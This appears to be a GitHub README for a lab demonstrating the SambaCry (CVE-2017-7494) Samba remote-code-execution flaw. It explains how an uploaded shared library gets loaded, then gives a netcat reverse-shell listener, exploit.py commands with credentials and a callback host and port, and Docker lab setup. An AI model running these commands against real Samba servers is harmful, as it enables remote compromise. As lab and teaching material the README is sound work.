yonliud/cve-2017-7494SambaCry Explanation and Exploitation Demo
CVE-2017-7494/SambaCry allows authenticated users to upload a shared library to a writeable folder, and perform execution attack using the upload libraries.
SambaCry is a path-validation vulnerability in how Samba handles named-pipe requests. Usually those pipes are used to let programs communicate with each other by reading and writing data through a file-like channel.
When Samba receives an unknown pipe name, vulnerable versions may treat it as the name of a dynamically loadable module.
Those modules are usually a legitimate .so libraries installed by the administrator.
The vulnerability allows a client to provide an absolute filesystem path instead of a normal module or pipe name. Samba does not properly restrict this path and may effectively perform: dlopen("/data/example.so", ...);.
Loading a shared library executes its initialization code. Therefore, an attacker who can upload a malicious .so file to a writable location can then make the Samba service load it, resulting in remote code execution.
https://github.com/user-attachments/assets/270c6725-708d-4e72-996a-b6c40e77f010
nc -lvnp 4444
python3 exploit.py --url //127.0.0.1/data --target 127.0.0.1 --port 1445 --user sambacry --password nosambanocry --lhost 172.26.242.223 --lport 4444 --remote-path /data/payload.so
To trigger an already uploaded payload:
python3 exploit.py --stages trigger --target 127.0.0.1 --port 1445 --user sambacry --password nosambanocry --remote-path /data/payload.so
Using the pre-made docker-compose.yml to initialize the vulnerable lab.
docker compose up -d
The lab uses Samba 4.5.9. Which is vulnerable by the vulnerability
3.5.0 - 4.4.13 4.5.0 - 4.5.9 4.6.0 - 4.6.3